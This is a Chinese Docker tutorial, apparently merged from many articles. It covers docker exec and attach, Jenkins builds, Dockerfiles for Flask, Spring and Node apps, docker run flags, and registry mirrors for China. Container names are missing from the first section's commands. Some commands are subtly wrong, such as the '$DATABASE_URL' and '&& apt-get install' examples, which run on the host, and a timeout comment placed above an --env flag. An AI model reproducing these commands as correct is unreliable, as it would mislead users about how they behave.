Docker入门与基础实践

📌 本文由 49 篇相关文章智能合并整理而成

docker exec 调试

docker exec 调试

docker exec 基础

docker exec 是在运行的容器中执行命令的核心调试工具。

基本用法

# 进入容器的 shell
docker exec -it  /bin/bash

# 如果容器没有 bash
docker exec -it  /bin/sh

# 执行单条命令
docker exec  cat /var/log/app.log

# 指定工作目录执行
docker exec -w /app  ls -la

# 设置环境变量执行
docker exec -e DEBUG=true  npm test

调试场景

1. 查看容器内进程

docker exec  ps aux
docker exec  top -b -n 1
docker exec  pgrep node

2. 检查网络

# 查看网络接口
docker exec  ip addr
docker exec  ifconfig

# 测试连通性
docker exec  ping google.com
docker exec  curl -v http://localhost:3000/health

# 查看监听端口
docker exec  netstat -tulpn
docker exec  ss -tulpn

# DNS 解析
docker exec  nslookup myservice
docker exec  cat /etc/resolv.conf

3. 查看文件系统

# 检查配置文件
docker exec  cat /app/config.yml

# 检查日志
docker exec  tail -f /var/log/app.log

# 检查目录权限
docker exec  ls -la /app

# 检查挂载
docker exec  mount | grep /data

4. 检查环境变量

# 查看所有环境变量
docker exec  env

# 检查特定变量
docker exec  echo $DATABASE_URL

# 检查运行时信息
docker exec  cat /etc/os-release
docker exec  uname -a

高级调试技巧

调试启动后立即退出的容器

# 覆盖 entrypoint
docker run --rm -it --entrypoint /bin/sh myapp:latest

# 在 docker-compose.yml 中
services:
  app:
    image: myapp:latest
    entrypoint: ["/bin/sh", "-c", "sleep 3600"]
    # 或
    command: ["sleep", "3600"]

挂载调试工具

# 将宿主机的调试工具挂载到容器
docker run -v /usr/bin/strace:/usr/bin/strace \
  -v /usr/bin/curl:/usr/bin/curl \
  myapp:latest

# 或者直接安装(临时)
docker exec  apt-get update && apt-get install -y curl strace

使用 nsenter 调试

# 获取容器的 PID
PID=$(docker inspect  -f '{{.State.Pid}}')

# 进入容器的命名空间
nsenter -t $PID -n -m -u
nsenter -t $PID --mount --uts --ipc --pid /bin/sh

实用脚本

交互式调试容器

# debug.sh
#!/bin/bash
CONTAINER=$1
COMMAND=${2:-/bin/sh}

# 检查容器是否运行
if docker ps --format '{{.Names}}' | grep -q "^$CONTAINER$"; then
  docker exec -it $CONTAINER $COMMAND
else
  echo "Container $CONTAINER is not running"
fi

批量执行命令

# 在多个容器中执行相同命令
for container in $(docker ps --format '{{.Names}}'); do
  echo "=== $container ==="
  docker exec $container hostname
done

安全注意事项

  1. 最小权限:容器内尽量不安装额外工具,使用宿主机工具
  2. 只在调试时使用:不要在生产容器中长时间保持交互式 shell
  3. 日志记录:调试操作建议记录到变更管理
  4. 只读文件系统:生产容器建议使用 --read-only 文件系统

面试要点

  1. docker exec -it 是日常调试最重要的命令
  2. 覆盖 entrypoint 是调试启动失败容器的关键技巧
  3. nsenter 是更底层的调试手段,不需要容器内安装任何工具
  4. 区分 docker exec(在运行容器中执行)和 docker run(新起容器)
  5. docker cp 配合 exec 可以在不进入容器的情况下获取/传输文件

面试官常问:一个容器启动了但没响应请求,你怎么用 docker exec 排查?


Jenkins 构建 Docker 镜像

Jenkins 构建 Docker 镜像

Jenkins + Docker 的集成方式

Jenkins 是最流行的 CI/CD 工具之一,与 Docker 的集成方式有三种主要模式。

方式一:Jenkins 节点上直接安装 Docker

最简单的方式,在 Jenkins Master 或 Agent 节点上安装 Docker CLI:

# 安装 Docker
apt-get install docker.io
usermod -aG docker jenkins

Jenkinsfile 中直接调用 Docker:

pipeline {
    agent any
    stages {
        stage('Build Docker Image') {
            steps {
                script {
                    docker.build("myapp:${env.BUILD_ID}")
                }
            }
        }
        stage('Push Image') {
            steps {
                script {
                    docker.withRegistry('https://registry.example.com', 'docker-hub-credentials') {
                        docker.image("myapp:${env.BUILD_ID}").push()
                    }
                }
            }
        }
    }
}

方式二:Docker Pipeline 插件

安装 Docker Pipeline 插件后,可以使用高级特性:

pipeline {
    agent {
        docker { image 'node:18' }
    }
    stages {
        stage('Test') {
            steps {
                sh 'npm test'
            }
        }
    }
}

方式三:Docker in Docker(DinD)

在 Jenkins 容器内运行 Docker:

version: '3'
services:
  jenkins:
    image: jenkins/jenkins:lts
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /usr/bin/docker:/usr/bin/docker

最佳实践

1. 使用 Build Cache

stage('Build with Cache') {
    steps {
        script {
            docker.build("myapp:${env.BUILD_ID}", "--cache-from myapp:latest .")
        }
    }
}

2. 构建参数化

stage('Parameterized Build') {
    steps {
        script {
            def buildArgs = "--build-arg VERSION=${env.BUILD_ID} --build-arg NODE_ENV=production"
            docker.build("myapp:${env.BUILD_ID}", "${buildArgs} .")
        }
    }
}

3. 多阶段构建

stage('Multi-stage Build') {
    steps {
        script {
            docker.build("myapp:${env.BUILD_ID}", "--target production .")
        }
    }
}

安全注意事项

  1. 避免 DinD 权限问题:挂载 /var/run/docker.sock 等同于赋予 root 权限
  2. 凭证管理:使用 Jenkins Credentials 存储 Docker Registry 认证信息
  3. 镜像清理:定期清理构建残留镜像,避免磁盘占满

面试要点

  • Jenkins 通过 docker.build() DSL 简化镜像构建
  • 挂载 Docker socket 是最常用的集成方式但有安全风险
  • 利用 Docker Pipeline 插件可以在容器中执行构建任务
  • 缓存机制大幅提升构建速度

面试官常问:Jenkins + Docker 构建时镜像层缓存失效怎么处理?有没有更好的替代方案?


docker exec 与 docker attach 的区别

docker exec 与 docker attach 的区别

核心区别

docker execdocker attach 都用于与运行中的容器交互,但本质不同:

graph TB
    subgraph docker exec
        EXEC[docker exec -it myapp sh]
        EXEC_PROC[在容器中启动<br/>新进程 sh<br/>PID: xxx]
        EXEC_RESULT[sh 进程有自己的<br/>STDIN/STDOUT/STDERR]
    end

    subgraph docker attach
        ATTACH[docker attach myapp]
        ATTACH_PROC[连接到容器的<br/>主进程<br/>PID: 1]
        ATTACH_RESULT[连接主进程的<br/>STDIN/STDOUT/STDERR]
    end

    EXEC --> EXEC_PROC --> EXEC_RESULT
    ATTACH --> ATTACH_PROC --> ATTACH_RESULT
对比项 docker exec docker attach
本质 启动新进程 连接到主进程
创建新进程 ✅ 是 ❌ 不创建
影响主进程 ❌ 不会 ✅ 直接连接
退出影响 仅退出子进程 可能终止主进程
典型用途 调试、执行命令 查看日志、交互
标准输入 可分配 连接到主进程输入

docker exec 详解

# docker exec 启动一个全新的进程
docker exec -it nginx bash
# 在 nginx 容器中启动了一个 bash 进程
# 这个 bash 进程是 nginx(PID 1)的子进程

# 查看进程关系
docker exec nginx ps aux
# PID 1: nginx: master process
# PID 29: nginx: worker process
# PID 30: bash            ← 刚刚 exec 进来的
graph TB
    subgraph exec 的进程树
        PID1[PID 1: 主进程<br/>nginx]
        PID2[PID 2: worker]
        PID3[PID 3: worker]

        subgraph exec 新进程
            E1[PID 10: bash<br/>docker exec 创建的]
            E2[PID 11: ls<br/> bash 执行的]
        end

        PID1 --- PID2
        PID1 --- PID3
        PID1 ---|子进程| E1
        E1 --- E2
    end

exec 的退出行为

# 退出 exec 的 shell,不影响主进程
docker exec -it nginx bash
# 在容器中执行 exit
exit
# bash 进程结束,但 nginx 容器继续运行 ✅

docker attach 详解

# attach 直接连接到容器的主进程(PID 1)
docker run -d --name myapp myapp
docker attach myapp
# 现在你的终端连接到容器的 STDOUT
# 可以看到所有输出

attach 的退出行为

# attach 连接到容器的主进程
docker attach myapp

# 按 Ctrl + C 或 Ctrl + D
# 如果主进程接收了 SIGINT → 容器可能停止!
docker attach myapp
# 然后按 Ctrl+C
# 容器的 Node/Python 应用如果收到 Ctrl+C 会退出
# → 容器停止

安全退出 attach

# 如何退出 attach 而不停止容器?
# 按 Ctrl+P, Ctrl+Q(先按 Ctrl+P,再按 Ctrl+Q)
# 这会从 attach 分离,但容器继续运行
docker attach myapp
# Ctrl+P → Ctrl+Q
# 脱离 attach,容器继续运行 ✅

三种运行状态的对比

graph LR
    subgraph docker run -it
        RUN[docker run -it ubuntu bash]
        RUN1[终端连接到<br/>主进程 bash]
        RUN2[退出 exit  容器停止]
    end

    subgraph docker exec -it
        EXEC[docker exec -it container bash]
        EXEC1[在容器中创建<br/> bash 进程]
        EXEC2[退出 exit <br/>子进程结束,容器继续]
    end

    subgraph docker attach
        ATTACH[docker attach conainer]
        ATTACH1[连接到<br/>现有主进程]
        ATTACH2[Ctrl+C  容器停止<br/>Ctrl+PQ  安全分离]
    end

实际场景对比

场景一:查看 nginx 日志

# ✅ 用 docker logs(推荐)
docker logs -f nginx

# ✅ 也可以用 docker exec
docker exec nginx tail -f /var/log/nginx/access.log

# ❌ 不要用 docker attach 做这个
docker attach nginx
# 你可能看到的是 nginx 的 access log
# 但按 Ctrl+C → nginx 容器会被停止!

场景二:调试容器内部

# ✅ 用 docker exec(推荐)
docker exec -it myapp sh
# 可以安全地执行多条命令,退出不影响应用

# ❌ 不要用 attach 来做调试
docker attach myapp
# 你无法执行新命令(因为 attach 只连接主进程)
# 只能看到输出

场景三:交互式应用

# 如果一个容器运行的是交互式程序
docker run --name myapp -it python:3.11-slim python
# 进入 Python shell

# ✅ 用 attach 重新连接到 Python shell
docker attach myapp
# 你可以继续输入 Python 代码

# ❌ 用 exec 会启动新的 Python 解释器
docker exec -it myapp python
# 这是另一个 Python,没有之前的状态

场景四:查看容器初始输出

# 启动容器并查看输出
docker run --name myapp myapp

# 在另一个终端
docker attach myapp
# 会看到从启动到现在的所有输出(如果还在打印)

# 但容器退出后,attach 也会退出
# 用 docker logs 可以查看历史日志

对比总结

# 不同场景的推荐命令

# 我要...
# 执行一条命令 → docker exec myapp ls
# 进入 shell 调试 → docker exec -it myapp sh
# 查看实时日志 → docker logs -f myapp
# 连接到交互式程序 → docker attach myapp
# 想安全退出 → 按 Ctrl+P Ctrl+Q

面试追问

问:docker attach 的 --sig-proxy=false 参数有什么用?

# 默认行为:docker attach 会将 Ctrl+C 信号转发给容器主进程
docker attach myapp
# Ctrl+C → 向主进程发送 SIGINT → 容器可能停止

# 不转发信号
docker attach --sig-proxy=false myapp
# Ctrl+C → 终端中断,但容器不接收信号
# 但按 Ctrl+P Ctrl+Q 仍然是更安全的做法

问:如果容器主进程是 init(如 tini 或 s6),attach 行为有什么不同?

答:如果主进程是 init 系统,它会管理信号。attach 连接到的实际上是 init 进程,Ctrl+C 会被 init 处理而不是直接终止容器。但更推荐的还是用 exec + logs 组合。

总结

场景 用谁 原因
执行命令 docker exec 创建新进程,不干扰主进程
查看日志 docker logs 安全,不会影响容器
调试排查 docker exec -it 安全退出
连接交互式程序 docker attach 直接连接主进程
生产环境 docker exec 99% 场景用这个
开发调试 docker attach 偶尔需要

一句话总结docker exec 是「开一扇新门进入房间」,docker attach 是「透过窗户看进去」——exec 安全灵活,attach 直接但危险。


使用 docker exec 进入容器

使用 docker exec 进入容器

命令简介

docker exec 用于在已经运行的容器中执行命令。这是日常操作容器最常用的命令之一,特别适合调试、排查问题。

docker exec [选项] <容器名/ID> <命令> [参数...]

最常见的用法

# 在运行的容器中启动一个 shell
docker exec -it myapp sh
docker exec -it myapp bash

# 执行一条命令并退出
docker exec myapp ls -la /app
docker exec myapp cat /etc/nginx/nginx.conf

# 连接到某个日志文件
docker exec myapp tail -f /var/log/app.log
graph TB
    subgraph docker exec 做了什么
        HOST[Docker 主机]
        CONTAINER[运行中的容器<br/>myapp]
        CMD[执行命令<br/>bash / ls / cat]

        HOST -->|docker exec myapp bash| CONTAINER
        CONTAINER -->|在容器中执行| CMD
        CMD -->|输出返回| HOST
    end

常用参数

-it:交互式终端

# -i = interactive:保持 STDIN 打开
# -t = tty:分配伪终端
# 通常一起使用 docker exec -it

# ✅ 带终端的交互式 shell
docker exec -it myapp bash
# 可以像 SSH 一样使用

# ❌ 不加 -t,无法使用交互式 shell
docker exec myapp bash
# 没有彩色输出,无法使用 tab 补全

# 只加 -i(不分配终端,但保持输入打开)
docker exec -i myapp sh < script.sh
# 可以重定向脚本到容器中执行

其他参数

# 设置环境变量
docker exec -e MY_VAR=hello myapp env

# 指定工作目录
docker exec -w /app myapp ls

# 以特定用户执行
docker exec -u node myapp whoami

# 设置超时(秒)
docker exec --env LANG=zh_CN.UTF-8 myapp echo "你好"

实战场景

场景一:查看容器中的日志文件

# 如果应用把日志写到了文件而不是 stdout
docker exec -it myapp bash
# 然后查看日志
tail -f /var/log/myapp/app.log

# 或直接执行
docker exec myapp tail -100 /var/log/myapp/app.log

场景二:检查容器状态

# 查看进程
docker exec myapp ps aux

# 查看网络连接
docker exec myapp netstat -tlnp

# 查看内存使用
docker exec myapp free -m

# 查看磁盘使用
docker exec myapp df -h

场景三:修改配置文件并重载

# Nginx 修改配置
docker exec -it nginx bash
# 修改配置后
nginx -s reload

# 或者直接
docker exec nginx nginx -s reload

# PostgreSQL
docker exec postgres psql -U postgres -c "SELECT * FROM users;"

场景四:在容器中创建数据

# 创建测试数据
docker exec myapp mkdir -p /app/data/test
docker exec myapp touch /app/data/test/sample.txt

# 注意:这些修改在容器删除后丢失(除非使用了 Volume)

场景五:调试健康检查

# 检查应用的健康端点
docker exec myapp curl http://localhost:3000/health

# 检查数据库连接
docker exec myapp node -e "
  const db = require('./db');
  db.ping().then(console.log);
"

docker exec 的限制

限制一:容器必须正在运行

# ❌ 容器没有运行
docker exec stopped-container ls
# Error: Container xxx is not running

# ✅ 需要先启动
docker start stopped-container
docker exec -it stopped-container bash

限制二:只影响运行的容器实例

# 你对容器内部做的任何修改(安装软件、修改文件)
# 只影响当前这个容器,不会保存到镜像
docker exec -it myapp sh
# apk add vim

# 但这个容器被删除后,vim 就没有了
# 如果要永久保存 → 更新 Dockerfile 重新构建

限制三:容器中没有 shell

# 如果基础镜像是 scratch 或 distroless
# 没有 bash 或 sh!
docker exec -it myapp sh
# oci runtime error: exec failed: executable file not found: "sh"

# 只能执行存在的命令
docker exec myapp /myapp           # 运行应用本身
docker exec myapp /bin/myapp --help  # 如果支持 --help

排查问题示例

# 问题:容器启动了,但访问不了
# 诊断步骤:

# 1. 看看容器是否真的在运行
docker ps | grep myapp

# 2. 进入容器,看看应用进程是否启动
docker exec myapp ps aux
# 如果没看到 node/python/java 进程 → 应用没启动

# 3. 检查端口监听
docker exec myapp netstat -tlnp
# 如果 3000 端口没在监听 → 应用没绑定好

# 4. 直接测试
docker exec myapp curl http://localhost:3000
# 如果无法连接 → 应用启动失败

# 5. 查看日志
docker logs myapp --tail 50

与 docker attach 的区别快速说明

场景 推荐命令 原因
执行新命令 docker exec 在容器中启动新进程
查看输出 docker logs 只读访问日志
附加到主进程 docker attach 连接到容器主进程
需要 shell 交互 docker exec -it 启动新 shell

面试追问

问:docker exec 和 docker run 有什么不同?

答:docker run创建并启动新容器docker exec在已存在的运行中的容器里执行命令。一个是「创建」,一个是「进入」。

问:能在 distroless 镜像中使用 docker exec 吗?

答:可以,但只能执行镜像中存在的命令。因为 distroless 没有 shell,你不能 docker exec -it myapp sh,但可以 docker exec myapp /myapp --version 或任何容器中存在的二进制文件。

总结

# docker exec 速记
docker exec -it <容器> sh    # 进入容器(日常使用)
docker exec <容器> <命令>     # 执行单条命令
docker exec -it -u <用户> <容器> sh  # 以特定用户进入

一句话总结docker exec 就是”进入容器”的代名词——它让你像 SSH 一样操作正在运行的 Docker 容器。


容器化现有应用:从传统应用到 Docker 容器

容器化现有应用:从传统应用到 Docker 容器

核心思路

将现有应用容器化,本质上就是把应用及其依赖打包成一个可移植的 Docker 镜像。无论你的应用是什么语言、什么架构,容器化的方法论是一致的。

graph TB
    subgraph 容器化五步法
        S1[第一步:了解应用<br/>语言、依赖、端口、存储]
        S2[第二步:写 Dockerfile<br/>选择基础镜像、复制文件、安装依赖]
        S3[第三步:本地测试<br/>docker build + docker run]
        S4[第四步:配置优化<br/>.dockerignore、多阶段构建、Volume]
        S5[第五步:部署上线<br/>docker-compose / Kubernetes]
    end

    S1 --> S2 --> S3 --> S4 --> S5

第一步:了解你的应用

在写 Dockerfile 之前,先搞清楚这些问题:

# 需要了解的应用信息清单
1. 语言和运行时:Python 3.11? Node 18? Java 11?
2. 依赖:apt 包?pip 包?npm 包?系统库?
3. 端口:监听哪个端口?app: 3000, db: 5432?
4. 数据存储:数据库文件?上传目录?日志?用 Volume
5. 配置:环境变量?配置文件?命令行参数?
6. 启动方式:python app.py? node server.js? java -jar app.jar?
7. 进程管理:单进程?多进程?需要 init 进程?

第二步:编写 Dockerfile

示例一:将 Flask Python Web 应用容器化

原始应用结构:

my-flask-app/
├── app.py              # 应用主文件
├── requirements.txt    # Python 依赖
├── templates/          # 模板目录
├── static/             # 静态文件
└── config.py           # 配置文件

Dockerfile:

FROM python:3.11-slim

WORKDIR /app

# 安装系统依赖(如果有)
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        gcc \
    && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# 复制依赖清单并安装
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt

# 复制应用代码
COPY . .

# 设置环境变量
ENV FLASK_APP=app.py
ENV FLASK_ENV=production
ENV PORT=5000

# 声明端口
EXPOSE 5000

# 使用 gunicorn 启动(生产)
CMD ["gunicorn", "--bind", "0.0.0.0:5000", "--workers", "4", "app:app"]

.dockerignore:

__pycache__/
*.pyc
.env
.git/
.gitignore
README.md
venv/
.venv/

运行命令:

docker build -t my-flask-app:1.0.0 .
docker run -d -p 5000:5000 --name flask-app my-flask-app:1.0.0

示例二:将 Spring Boot 应用容器化

原始应用结构:

my-spring-app/
├── pom.xml / build.gradle   # 构建配置
├── src/
│   └── main/
│       ├── java/
│       └── resources/
└── application.yml          # 配置文件

Dockerfile(多阶段构建):

# ====== 构建阶段 ======
FROM maven:3.8-eclipse-temurin-11 AS builder

WORKDIR /build
COPY pom.xml ./
RUN mvn dependency:go-offline -B

COPY src/ ./src/
RUN mvn package -DskipTests -B

# ====== 运行阶段 ======
FROM eclipse-temurin:11-jre

WORKDIR /app

# 创建非 root 用户
RUN groupadd -r spring && useradd -r -g spring spring

# 从构建阶段复制 jar 包
COPY --from=builder /build/target/*.jar app.jar

# 配置文件(通过 Volume 或环境变量覆盖)
COPY --chown=spring:spring application.yml ./

# 切换用户
USER spring

EXPOSE 8080

ENTRYPOINT ["java", "-jar", "app.jar"]
CMD ["--spring.config.location=file:/app/application.yml"]

示例三:将 Node.js Express 应用容器化

FROM node:18-alpine

WORKDIR /app

# 安装生产依赖
COPY package.json package-lock.json ./
RUN npm ci --only=production

# 复制应用代码
COPY . .

# 设置非 root 用户
USER node

EXPOSE 3000

CMD ["node", "server.js"]

第三步:本地测试

# 1. 构建镜像
docker build -t my-app:test .

# 2. 运行容器
docker run -d \
    --name my-app-test \
    -p 8080:3000 \
    -e NODE_ENV=production \
    -e DATABASE_URL=mysql://user:pass@host/db \
    my-app:test

# 3. 验证应用是否正常运行
curl http://localhost:8080/health

# 4. 查看日志
docker logs my-app-test

# 5. 进入容器检查(如果需要)
docker exec -it my-app-test sh

# 6. 停止并清理
docker stop my-app-test && docker rm my-app-test

第四步:处理常见问题

配置文件

# ❌ 不要在镜像中硬编码配置
# ✅ 用环境变量或 Volume 注入

# 方式一:通过环境变量
docker run -e DATABASE_URL=mysql://prod:pass@db:3306/myapp myapp

# 方式二:通过 Volume 挂载配置文件
docker run -v ./config/prod.yml:/app/config.yml myapp

数据持久化

# 数据库应用的数据目录
docker run -v pgdata:/var/lib/postgresql/data postgres:13

# 上传文件
docker run -v uploads:/app/uploads my-app

# 日志
docker run -v logs:/var/log/my-app my-app

日志处理

# 确保应用日志输出到 stdout/stderr
# Docker 会自动捕获 stdout/stderr
# 不要写日志到文件!

# ❌ 写文件日志
app.logger.addHandler(logging.FileHandler('/var/log/app.log'))

# ✅ 输出到 stdout
import sys
app.logger.addHandler(logging.StreamHandler(sys.stdout))

健康检查

FROM node:18-alpine

# 添加健康检查
HEALTHCHECK --interval=30s --timeout=3s --retries=3 \
    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1

CMD ["node", "server.js"]

第五步:使用 docker-compose

# docker-compose.yml
version: '3.8'

services:
  app:
    build: .
    ports:
      - "8080:3000"
    environment:
      - NODE_ENV=production
      - DATABASE_URL=mysql://user:pass@db:3306/myapp
    volumes:
      - uploads:/app/uploads
    depends_on:
      db:
        condition: service_healthy
    restart: unless-stopped

  db:
    image: mysql:8.0
    environment:
      - MYSQL_ROOT_PASSWORD=rootpass
      - MYSQL_DATABASE=myapp
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 5

volumes:
  uploads:
  dbdata:
# 一键启动
docker-compose up -d

# 查看状态
docker-compose ps

# 查看日志
docker-compose logs -f app

# 停止
docker-compose down

容器化检查清单

graph TB
    subgraph 容器化检查清单
        C1[ 选择了合适的基础镜像]
        C2[ 有多阶段构建]
        C3[ 使用非 root 用户运行]
        C4[ 配置文件用环境变量替代]
        C5[ 日志输出到 stdout/stderr]
        C6[ 数据目录使用 Volume]
        C7[ 添加了健康检查]
        C8[ 配置了 .dockerignore]
        C9[ 使用精确的版本标签]
        C10[ 本地测试通过]
    end

    C1 --> C2 --> C3 --> C4 --> C5 --> C6 --> C7 --> C8 --> C9 --> C10

面试追问

问:没有源码的旧应用怎么容器化?

答:可以使用 docker commit 从已有的虚拟机导出为镜像,或者手动搭建环境后用 Dockerfile 重现。对于无法获取源码的老应用,可以先创建一个基础容器,在里面手动安装配置,然后 commit。

问:当依赖无法直接安装时怎么办?

答:可以考虑使用 Dockerfile 中的特定版本文件,或者使用多阶段构建从其他镜像复制必要的二进制文件。关键在于减少不确定性——锁定版本、使用 checksum 验证。

总结

步骤 关键操作 常见问题
了解应用 理清语言、依赖、端口、数据 不了解应用架构
写 Dockerfile FROM, COPY, RUN, CMD 基础镜像太大
本地测试 build + run + curl 配置文件写死了
配置优化 多阶段构建、Volume、Env 日志写文件
部署上线 docker-compose / K8s 没有健康检查

一句话总结:容器化现有应用很简单——把「它需要什么」和「它怎么启动」搞清楚,然后用 Dockerfile 描述出来。


docker run 常用参数详解

docker run 常用参数详解

命令简介

docker run 是最核心的 Docker 命令——它基于一个镜像创建并启动容器。掌握 docker run 的参数,几乎等于掌握了 Docker 容器管理的 80%。

docker run [选项] 镜像 [命令] [参数...]

参数速查表

# 最常用的参数一览
docker run \
    -d              # 后台运行(detach)
    --name myapp    # 指定容器名
    -p 8080:80      # 端口映射
    -v /data:/data  # 挂载卷
    -e KEY=value    # 设置环境变量
    --restart=always # 重启策略
    --rm            # 停止后自动删除
    myapp:latest

参数详解

1. 运行模式

# 前台运行(默认)— 终端会挂住
docker run ubuntu echo "Hello"

# 后台运行(detach)
docker run -d nginx

# 前台交互式运行
docker run -it ubuntu bash
# -i: 交互模式(保持 STDIN 打开)
# -t: 分配伪终端
# 等价于: docker run --interactive --tty ubuntu bash

2. 容器命名和管理

# 指定容器名(不指定会随机分配一个名字)
docker run --name my-web nginx

# 停止后自动删除(单次运行场景)
docker run --rm alpine echo "done"
# 容器执行完毕后自动删除,不会占用空间

# 重启策略
docker run --restart=always nginx          # 总是重启
docker run --restart=unless-stopped nginx  # 除非手动停止
docker run --restart=on-failure:5 nginx    # 失败时重启,最多5次
graph TB
    subgraph 重启策略
        NO[--restart=no<br/>默认:不自动重启]
        ALWAYS[--restart=always<br/>总是重启]
        UNLESS[--restart=unless-stopped<br/>除非手动停止]
        FAILURE[--restart=on-failure<br/>退出码非0时重启]
    end

    subgraph 行为
        NO --> EXIT[容器退出后不再启动]
        ALWAYS --> START[守护进程自动重启]
        UNLESS --> START2[ always 类似但更安全]
        FAILURE --> CHECK[仅非正常退出时重启]
    end

3. 端口映射

# 基本映射
docker run -p 8080:80 nginx
# 主机8080 → 容器80

# 映射到特定 IP
docker run -p 127.0.0.1:8080:80 nginx
# 只在 localhost 映射

# 映射多个端口
docker run -p 8080:80 -p 8443:443 nginx

# 随机分配主机端口
docker run -P nginx
# 主机随机端口 → 容器80(需要 Dockerfile 中有 EXPOSE)

# UDP 端口
docker run -p 5353:53/udp dns-server

4. 卷挂载

# 绑定挂载(Bind mount)— 主机路径到容器
docker run -v /host/data:/container/data myapp

# 命名卷(Named volume)
docker run -v my-volume:/data myapp

# 匿名卷
docker run -v /data myapp

# 只读挂载
docker run -v /host/config:/app/config:ro myapp

# mount 语法(比 -v 更清晰)
docker run --mount type=bind,source=/host,destination=/container myapp
docker run --mount type=volume,source=myvol,destination=/data myapp
docker run --mount type=tmpfs,destination=/tmp myapp

5. 环境变量

# 单个环境变量
docker run -e NODE_ENV=production myapp

# 多个环境变量
docker run \
    -e DB_HOST=localhost \
    -e DB_PORT=5432 \
    -e DB_USER=admin \
    -e DB_PASS=secret \
    myapp

# 从文件读取环境变量
docker run --env-file .env myapp

# .env 文件格式
# DB_HOST=localhost
# DB_PORT=5432

6. 资源限制

# 内存限制
docker run --memory=512m myapp           # 最大 512MB
docker run --memory=512m --memory-swap=1g myapp  # 512MB 内存 + 512MB swap

# CPU 限制
docker run --cpus=2 myapp                # 使用 2 个 CPU 核心
docker run --cpuset-cpus=0,1 myapp       # 绑定到 CPU 0 和 1
docker run --cpu-shares=512 myapp        # CPU 权重

# 磁盘 I/O
docker run --device-read-bps=/dev/sda:1mb myapp    # 读限速
docker run --device-write-bps=/dev/sda:1mb myapp   # 写限速

7. 网络配置

# 默认 bridge 网络
docker run nginx

# 指定网络
docker run --network=host nginx          # 使用主机网络(无网络隔离)
docker run --network=bridge nginx        # 默认桥接网络
docker run --network=none nginx          # 无网络

# 指定 IP
docker run --network=my-net --ip=172.20.0.10 nginx

# DNS 配置
docker run --dns=8.8.8.8 --dns=114.114.114.114 nginx

# hostname
docker run --hostname=myapp.local nginx

8. 用户和权限

# 以指定用户运行
docker run --user=1000:1000 myapp
docker run --user=nginx myapp

# 添加 Linux capabilities
docker run --cap-add=NET_ADMIN myapp    # 添加网络管理能力
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp  # 仅保留绑定端口能力

# 特权模式(不推荐生产使用)
docker run --privileged myapp

# 共享主机 IPC
docker run --ipc=host myapp

# 共享主机 PID 命名空间
docker run --pid=host myapp

9. 健康检查

# 启动后的健康检查间隔
docker run \
    --health-interval=30s \
    --health-timeout=3s \
    --health-retries=3 \
    --health-start-period=30s \
    myapp

实战:运行一个完整的 Web 应用

# 启动 PostgreSQL
docker run -d \
    --name postgres \
    -e POSTGRES_USER=myapp \
    -e POSTGRES_PASSWORD=secret \
    -e POSTGRES_DB=myapp \
    -v pgdata:/var/lib/postgresql/data \
    --restart=unless-stopped \
    --health-interval=10s \
    postgres:13

# 启动 Redis
docker run -d \
    --name redis \
    --restart=unless-stopped \
    redis:7-alpine

# 启动应用(连接数据库和 Redis)
docker run -d \
    --name myapp \
    -p 8080:3000 \
    -v $(pwd)/config:/app/config:ro \
    -e NODE_ENV=production \
    -e DATABASE_URL=postgres://myapp:secret@postgres:5432/myapp \
    -e REDIS_URL=redis://redis:6379 \
    --link postgres \
    --link redis \
    --restart=unless-stopped \
    myapp:latest

常用参数组合

# 开发调试 — 交互 + 端口映射 + 挂载代码
docker run -it --rm -p 3000:3000 -v $(pwd):/app myapp:dev

# 生产运行 — 后台 + 自动重启 + 资源限制
docker run -d --restart=unless-stopped --memory=512m --cpus=1 -p 80:3000 myapp:1.0.0

# 一次性任务 — 自动删除 + 环境变量
docker run --rm -e TASK_NAME=migrate myapp:latest node migrate.js

# 调试排查 — 交互式 + 进入容器
docker run -it --rm --entrypoint sh myapp:1.0.0

面试追问

问:docker run -ddocker run -it 可以一起用吗?

答:可以,-d 后台运行,-it 分配伪终端和保持 STDIN 打开。组合使用 docker run -dit myapp 可以启动一个后台运行的交互式容器。

问:--rm-d 可以一起使用吗?

答:可以。docker run -d --rm myapp 容器在后台运行,停止后自动删除。这很适合 CI/CD 场景。

总结

# docker run 参数速记口诀
# 跑起来:        -d 后台跑,-it 交互跑
# 命名和管理:    --name 命名,--rm 用完删,--restart 重启
# 网络:          -p 端口,--network 网络
# 存储:          -v 卷挂载
# 配置:          -e 环境变量,--env-file 文件
# 资源:          --memory 内存,--cpus CPU
# 用户:          --user 用户,--cap-add 权限

一句话总结docker run 参数的本质就是告诉你 Docker 该如何创建和运行这个容器——把它当作一个小的虚拟机来配置就对了。


国内网络环境下的 Docker 基础镜像构建

国内网络环境下的 Docker 基础镜像构建

问题:在国内构建 Docker 镜像为什么慢?

graph TB
    subgraph 国内构建 Docker 的痛点
        PULL[拉取基础镜像慢<br/>Docker Hub 被墙]
        INSTALL[安装软件包慢<br/>apt/npm/pip 源在国外]
        BUILD[构建时间长<br/>动辄几分钟到几十分钟]
        FAIL[构建失败率高<br/>网络不稳定导致超时]
    end
# 没有加速的构建
docker build -t myapp .
# Step 1: FROM ubuntu:22.04
# 等待 5 分钟... 超时重试...
# Step 2: RUN apt-get update
# 等待 3 分钟... 又超时...
# 太痛苦了!

解决方案一:配置镜像加速器

Docker Daemon 配置

# 编辑 Docker daemon 配置文件
vim /etc/docker/daemon.json

# 添加镜像加速器
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://dockerproxy.com",
    "https://docker.nju.edu.cn",
    "https://docker.mirrors.sjtug.sjtu.edu.cn"
  ]
}
# 重启 Docker
systemctl daemon-reload
systemctl restart docker

# 验证
docker info
# Registry Mirrors:
#   https://docker.m.daocloud.io/
#   https://dockerproxy.com/

国内常用的镜像加速器

# 阿里云(需要注册,有个人专属地址)
https://.mirror.aliyuncs.com

# 腾讯云
https://mirror.ccs.tencentyun.com

# DaoCloud
https://docker.m.daocloud.io

# 中科大
https://docker.mirrors.ustc.edu.cn

# 南京大学
https://docker.nju.edu.cn

# 上海交大
https://docker.mirrors.sjtug.sjtu.edu.cn

解决方案二:更换软件源

